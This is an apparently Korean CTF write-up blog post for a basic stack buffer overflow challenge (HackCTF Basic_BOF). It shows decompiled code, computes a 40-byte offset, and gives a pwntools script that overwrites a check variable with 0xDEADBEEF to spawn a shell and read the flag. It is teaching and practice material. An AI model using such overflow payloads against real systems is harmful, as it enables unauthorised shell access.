int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+4h] [ebp-34h]
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 67305985;
fgets(&s, 45, stdin);
printf("\n[buf]: %s\n", &s);
printf("[check] %p\n", v5);
if ( v5 != 67305985 && v5 != -559038737 )
puts("\nYou are on the right way!");
if ( v5 == -559038737 )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
그냥 간단히 v5를 -559038737로 바꿔주면 된다.
0x34 - 0xC = 0x28 = 40
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3000)
payload = b""
payload += b"A" * 40
payload += p64(0xFFFFFFFFDEADBEEF)
r.sendline(payload)
r.sendline("cat flag")
r.interactive()
0xFFFFFFFFDEADBEEF는 -559038737를 16진수로 바꾼것이다.
이걸로 v5가 -559038737가 되어 system("/bin/dash") 함수가 실행되면
쉘에서 명령어를 실행할 수 있다.
그래서 cat flag 로 flag를 읽어온다.
728x90
'해킹 > writeup' 카테고리의 다른 글
6. DreamHack - basic_exploitation_000 (0) | 2021.07.11 |
---|---|
5. HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.11 |
4. HackCTF - x64 Buffer Overflow (0) | 2021.06.16 |
3. HackCTF - Basic_BOF #2 (0) | 2021.06.16 |
1. DreamHack - basic_exploitation_001 (0) | 2021.06.16 |